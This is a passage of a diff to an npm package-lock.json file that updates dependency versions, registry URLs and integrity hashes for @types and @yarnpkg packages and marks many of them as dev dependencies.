"resolved": "https://registry.npmjs.org/@types/lodash.union/-/lodash.union-4.6.6.tgz", + "integrity": "sha512-Wu0ZEVNcyCz8eAn6TlUbYWZoGbH9E+iOHxAZbwUoCEXdUiy6qpcz5o44mMXViM4vlPLLCPlkAubEP1gokoSZaw==", + "dev": true, + "requires": { + "@types/lodash": "*" + } + }, + "@types/mdast": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.3.tgz", + "integrity": "sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==", + "dev": true, + "requires": { + "@types/unist": "*" + } + }, + "@types/micromatch": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.1.tgz", + "integrity": "sha512-my6fLBvpY70KattTNzYOK6KU1oR1+UCz9ug/JbcF5UrEmeCt9P7DV2t7L8+t18mMPINqGQCE4O8PLOPbI84gxw==", + "dev": true, + "requires": { + "@types/braces": "*" + } + }, "@types/minimatch": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", @@ -1778,15 +3930,16 @@ "dev": true }, "@types/minimist": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-aaI6OtKcrwCX8G7aWbNh7i8GOfY=", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.1.tgz", + "integrity": "sha512-fZQQafSREFyuZcdWFAExYjBiCL7AUCdgsk80iO0q4yihYYdcIiH28CcuPTGFgLOCC8RlW49GSQxdHwZP+I7CNg==", "dev": true }, "@types/node": { - "version": "13.13.5", - "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.5.tgz", - "integrity": "sha512-3ySmiBYJPqgjiHA7oEaIo2Rzz0HrOZ7yrNO5HWyaE5q0lQ3BppDZ3N53Miz8bw2I7gh1/zir2MGVZBvpb1zq9g==" + "version": "14.14.37", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.37.tgz", + "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==", + "dev": true }, "@types/normalize-package-data": { "version": "2.4.0", @@ -1805,12 +3958,48 @@ "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==" }, "@types/react": { - "version": "16.9.35", - "resolved": "https://registry.npmjs.org/@types/react/-/react-16.9.35.tgz", - "integrity": "sha512-q0n0SsWcGc8nDqH2GJfWQWUOmZSJhXV64CjVN5SvcNti3TdEaA3AH0D8DwNmMdzjMAC/78tB8nAZIlV8yTz+zQ==", + "version": "16.14.5", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.5.tgz", + "integrity": "sha512-YRRv9DNZhaVTVRh9Wmmit7Y0UFhEVqXqCSw3uazRWMxa2x85hWQZ5BN24i7GXZbaclaLXEcodEeIHsjBA8eAMw==", "requires": { "@types/prop-types": "*", - "csstype": "^2.2.0" + "@types/scheduler": "*", + "csstype": "^3.0.2" + }, + "dependencies": { + "csstype": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", + "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + } + } + }, + "@types/react-dom": { + "version": "16.9.12", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.12.tgz", + "integrity": "sha512-i7NPZZpPte3jtVOoW+eLB7G/jsX5OM6GqQnH+lC0nq0rqwlK0x8WcMEvYDgFWqWhWMlTltTimzdMax6wYfZssA==", + "dev": true, + "requires": { + "@types/react": "^16" + } + }, + "@types/react-router": { + "version": "5.1.16", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.16.tgz", + "integrity": "sha512-8d7nR/fNSqlTFGHti0R3F9WwIertOaaA1UEB8/jr5l5mDMOs4CidEgvvYMw4ivqrBK+vtVLxyTj2P+Pr/dtgzg==", + "requires": { + "@types/history": "*", + "@types/react": "*" + } + }, + "@types/react-router-dom": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.1.8.tgz", + "integrity": "sha512-03xHyncBzG0PmDmf8pf3rehtjY0NpUj7TIN46FrT5n1ZWHPZvXz32gUyNboJ+xsL8cpg8bQVLcllptcQHvocrw==", + "requires": { + "@types/history": "*", + "@types/react": "*", + "@types/react-router": "*" } }, "@types/react-table": { @@ -1822,9 +4011,9 @@ } }, "@types/react-transition-group": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.0.tgz", - "integrity": "sha512-/QfLHGpu+2fQOqQaXh8MG9q03bFENooTb/it4jr5kKaZlDQfWvjqWZg48AwzPVMBHlRuTRAY7hRHCEOXz5kV6w==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.1.tgz", + "integrity": "sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==", "requires": { "@types/react": "*" } @@ -1833,14 +4022,33 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", + "dev": true, "requires": { "@types/node": "*" } }, + "@types/sarif": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.3.tgz", + "integrity": "sha512-zf+EoIplTkQW2TV2mwtJtlI0g540Z3Rs9tX9JqRAtyjnDCqkP+eMTgWCj3PGNbQpi+WXAjvC3Ou/dvvX2sLK4w==", + "dev": true + }, + "@types/scheduler": { + "version": "0.16.1", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz", + "integrity": "sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==" + }, "@types/semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-41qEJgBH/TWgo5NFSvBCJ1qkoi3Q6ONSF2avrHq1LVEZfYpdHmj0y9SuTK+u9ZhG1sYQKBL1AWXKyLWP4RaUoQ==" + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-+nVsLKlcUCeMzD2ufHEYuJ9a2ovstb6Dp52A5VsoKxDXgvE051XgHI/33I1EymwkRGQkwnA0LkhnUzituGs4EQ==", + "dev": true + }, + "@types/treeify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/treeify/-/treeify-1.0.0.tgz", + "integrity": "sha512-ONpcZAEYlbPx4EtJwfTyCDQJGUpKf4sEcuySdCVjK5Fj/3vHp5HII1fqa1/+qrsLnpYELCQTfVW/awsGJePoIg==", + "dev": true }, "@types/unist": { "version": "2.0.3", @@ -1848,19 +4056,32 @@ "integrity": "sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==", "dev": true }, + "@types/uuid": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.0.tgz", + "integrity": "sha512-eQ9qFW/fhfGJF8WKHGEHZEyVWfZxrT+6CLIJGBcZPfxUh/+BnEj+UCGYMlr9qZuX/2AltsvwrGqp0LhEW8D0zQ==", + "dev": true + }, "@types/warning": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" }, - "@types/xml2js": { - "version": "0.4.5", - "resolved": "https://registry.npmjs.org/@types/xml2js/-/xml2js-0.4.5.tgz", - "integrity": "sha512-yohU3zMn0fkhlape1nxXG2bLEGZRc1FeqF80RoHaYXJN7uibaauXfhzhOJr1Xh36sn+/tx21QAOf07b/xYVk1w==", + "@types/yargs": { + "version": "15.0.13", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.13.tgz", + "integrity": "sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==", + "dev": true, "requires": { - "@types/node": "*" + "@types/yargs-parser": "*" } }, + "@types/yargs-parser": { + "version": "20.2.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.0.tgz", + "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==", + "dev": true + }, "@webassemblyjs/ast": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", @@ -2049,28 +4270,31 @@ "dev": true }, "@yarnpkg/core": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz", - "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.4.0.tgz", + "integrity": "sha512-FYjcPNTfDfMKLFafQPt49EY28jnYC82Z2S7oMwLPUh144BL8v8YXzb4aCnFyi5nFC5h2kcrJfZh7+Pm/qvCqGw==", + "dev": true, "requires": { "@arcanis/slice-ansi": "^1.0.2", - "@yarnpkg/fslib": "^2.2.1", + "@types/semver": "^7.1.0", + "@types/treeify": "^1.0.0", + "@yarnpkg/fslib": "^2.4.0", "@yarnpkg/json-proxy": "^2.1.0", - "@yarnpkg/libzip": "^2.2.0", - "@yarnpkg/parsers": "^2.2.0", - "@yarnpkg/pnp": "^2.2.1", - "@yarnpkg/shell": "^2.2.0", + "@yarnpkg/libzip": "^2.2.1", + "@yarnpkg/parsers": "^2.3.0", + "@yarnpkg/pnp": "^2.3.2", + "@yarnpkg/shell": "^2.4.1", + "binjumper": "^0.1.4", "camelcase": "^5.3.1", "chalk": "^3.0.0", "ci-info": "^2.0.0", - "clipanion": "^2.4.4", + "clipanion": "^2.6.2", "cross-spawn": "7.0.3", "diff": "^4.0.1", "globby": "^11.0.1", - "got": "^11.1.3", + "got": "^11.7.0", "json-file-plus": "^3.3.1", "lodash": "^4.17.15", - "logic-solver": "^2.0.1", "micromatch": "^4.0.2", "mkdirp": "^0.5.1", "p-limit": "^2.2.0", @@ -2079,16 +4303,23 @@ "semver": "^7.1.2", "stream-to-promise": "^2.2.0", "tar-stream": "^2.0.1", + "treeify": "^1.1.0", "tslib": "^1.13.0", "tunnel": "^0.0.6" }, "dependencies": { + "@sindresorhus/is": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz", + "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ==", + "dev": true + }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, @@ -2096,6 +4327,7 @@ "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { "fill-range": "^7.0.1" } @@ -2103,12 +4335,14 @@ "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true }, "chalk": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -2118,6 +4352,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -2125,12 +4360,14 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", @@ -2141,61 +4378,81 @@ "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, - "globby": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz", - "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==", + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "dev": true, "requires": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.1.1", - "ignore": "^5.1.4", - "merge2": "^1.3.0", - "slash": "^3.0.0" + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" - }, - "ignore": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", - "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true }, "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, "requires": { "shebang-regex": "^3.0.0" } @@ -2203,17 +4460,14 @@ "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" - }, - "slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -2222,38 +4476,49 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, "requires": { "is-number": "^7.0.0" } }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, "requires": { "isexe": "^2.0.0" } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "@yarnpkg/fslib": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz", - "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.4.0.tgz", + "integrity": "sha512-CwffYY9owtl3uImNOn1K4jl5iIb/L16a9UZ9Q3lkBARk6tlUsPrNFX00eoUlFcLn49TTfd3zdN6higloGCyncw==", + "dev": true, "requires": { - "@yarnpkg/libzip": "^2.2.0", + "@yarnpkg/libzip": "^2.2.1", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, @@ -2261,105 +4526,159 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/@yarnpkg/json-proxy/-/json-proxy-2.1.0.tgz", "integrity": "sha512-rOgCg2DkyviLgr80mUMTt9vzdf5RGOujQB26yPiXjlz4WNePLBshKlTNG9rKSoKQSOYEQcw6cUmosfOKDatrCw==", + "dev": true, "requires": { "@yarnpkg/fslib": "^2.1.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/libzip": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz", - "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.1.tgz", + "integrity": "sha512-AYDJXrkzayoDd3ZlVgFJ+LyDX+Zj/cki3vxIpcYxejtgkl3aquVWOxlC0DD9WboBWsJFIP1MjrUbchLyh++/7A==", + "dev": true, "requires": { "@types/emscripten": "^1.38.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/lockfile": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz", - "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==" + "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==", + "dev": true }, "@yarnpkg/parsers": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz", - "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.3.0.tgz", + "integrity": "sha512-qgz0QUgOvnhtF92kaluIhIIKBUHlYlHUBQxqh5v9+sxEQvUeF6G6PKiFlzo3E6O99XwvNEGpVu1xZPoSGyGscQ==", + "dev": true, "requires": { "js-yaml": "^3.10.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/pnp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz", - "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.3.2.tgz", + "integrity": "sha512-JdwHu1WBCISqJEhIwx6Hbpe8MYsYbkGMxoxolkDiAeJ9IGEe08mQcbX1YmUDV1ozSWlm9JZE90nMylcDsXRFpA==", + "dev": true, "requires": { 